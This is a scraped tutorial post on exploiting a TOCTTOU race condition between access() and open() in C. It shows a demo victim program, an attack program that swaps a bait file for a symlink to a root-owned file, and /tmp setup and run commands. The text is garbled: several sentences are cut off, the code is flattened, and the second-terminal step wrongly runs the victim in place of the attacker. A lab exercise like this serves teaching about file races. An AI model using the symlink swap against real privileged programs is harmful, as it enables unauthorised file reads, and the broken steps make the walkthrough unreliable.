A race condition occurs when at least two threads try to access or modify the same
The outcome is depends on the timing of the threads.
An attack that exploits a race condition vulnerability is called
To take place, a TOCTTOU attack requires two steps:
A program checks the status of a file
The same program operates assuming the status didn’t change
One of the most famous race condition vulnerabilities is between the access()
and the open()
system call.
The access()
system call checks if a user is authorized to access a file, while the open()
system call proceeds to open that file.
In this article, I want to describe how to exploit this race condition.
We are going to use two different source files, victim.c
and attack.c
.
Additionally, two simple files are needed, let’s call them a
and b
.
Now, let’s proceed to understanding the code.
The aim is to open the target file (
b
). Since we don’t have the permission to open it, we will try to cheat theaccess()
using filea
as a bait file.
In the victim.c
file, we declare two variables, a file descriptor and a buffer.
We will use them in order to store the return value of open()
and to read from the file descriptor into the buffer.
int fd;char buffer[256];printf("Input file: %s\n", argv[1]);
Thereafter, the access()
and open()
system calls come on stage.
// 1 - Check the privileges of the input file passed as parameter with access() syscallif(access(argv[1], R_OK) < 0){perror("Access error ");fprintf(stderr, "Cannot access file, errno = %d\n", errno);return -1;}
The access()
returns 0 if the call was successful; if it fails, -1 is returned and we enter inside the if condition to print the errno
value.
Our priority here is to get the return value equal to zero, which means we have the permission to access that file specified as argv[1]
(the bait file known as a
).
// 2 - Open the fileif((fd = open(argv[1], O_RDONLY)) < 0){fprintf(stderr, "Open error: %s\nErrno code => %d\n", strerror(errno), errno);return -1;}read(fd, buffer, sizeof(buffer));printf("%s", buffer);return 0;
Here, we come with the open()
system call, which returns the new file descriptor (a nonnegative integer) in case of success, and -1 in case of failure.
At the end, we read sizeof(buffer)
bytes from the file descriptor (fd
) into the buffer
.
If everything goes right, our program (victim.c
) will return 0.
Now, let’s focus on the real attack (attack.c
file). We will have to gain access to the target file; although we don’t have the necessary privilege to do so.
The main thing to do now is to find a way to cheat the permission policy and gain the access of the target file b
(argv[2]
in the code).
We can exploit a symlink in the linux file system.
A symlink
(symbolic link) is nothing more than a file that points to another file.
The trick is easy, our window of vulnerability lays between the access()
and open()
calls in the victim.c
file.
// 1 - Check the privileges of the input file passed as parameter with access() syscallif(access(argv[1], R_OK) < 0){perror("Access error ");fprintf(stderr, "Cannot access file, errno = %d\n", errno);return -1;}/*Window of vulnerabilityThe race condition occurs hereAfter access() and before open()*/// 2 - Open the fileif((fd = open(argv[1], O_RDONLY)) < 0){fprintf(stderr, "Open error: %s\nErrno code => %d\n", strerror(errno), errno);return -1;}
After access()
checks that the victim is allowed to access the file, our program attack.c
is launched.
if(unlink(argv[1]) != 0){// Cannot remove the fileperror("Unlink error: ");fprintf(stderr, "Cannot remove the file, errno = %d\n", errno);return -1;}
The first step consists of removing the original bait file and if the unlink()
operation is successful, a new bait file is created and linked to the target file, as described in the code below.
// 2 - Create the link by symlink() using the first input file name as argumentif(symlink(argv[2], argv[1]) != 0){// Cannot create the symlinkperror("Symlink error: ");fprintf(stderr, "Failed link, errno = %d\n", errno);return -1;}
That’s the trick! We just raised a race condition here after gaining the privileges with access()
. Now, to make it believe we wanted to open file a
(argv[1]), we remove this file and replace it with a symlink file that points to the target file b
(argv[2]).
Thereafter, the open()
is invoked, opening the file a
linked to b
– we’re gonna read its content.
In order to simulate our attack, we should first prepare our environment.
We begin with the creation of a directory called out
under the /tmp/ dir. This creates the files a
and b
and populates them with the echo
command. Lastly, ownership of the target file is given to the root.
mkdir /tmp/out/
touch /tmp/out/a
touch /tmp/out/b
echo "a" > /tmp/out/a
echo "b" > /tmp/out/b
chown root:root /tmp/out/b
Now, let’s proceed to compile and run the programs.
Open two terminal windows and follow the commands shown below.
In the first terminal, let’s give these commands:
gcc victim.c -o victim
./victim /tmp/out/a
In the second terminal:
gcc attack.c -o attack
./victim /tmp/out/b
Now, just repeat the execution of the victim program attempting to read a
file.
When you come across an output as below, you’re done!
./victim /tmp/out/a
Input file: /tmp/out/a
b
The TOCTTOU attack was successful, we cheated access()
and fed it with a
file, while we actually read the b
file, our initial target.
You can find the whole code in my github repo in the “Symlink_race_conditions” folder.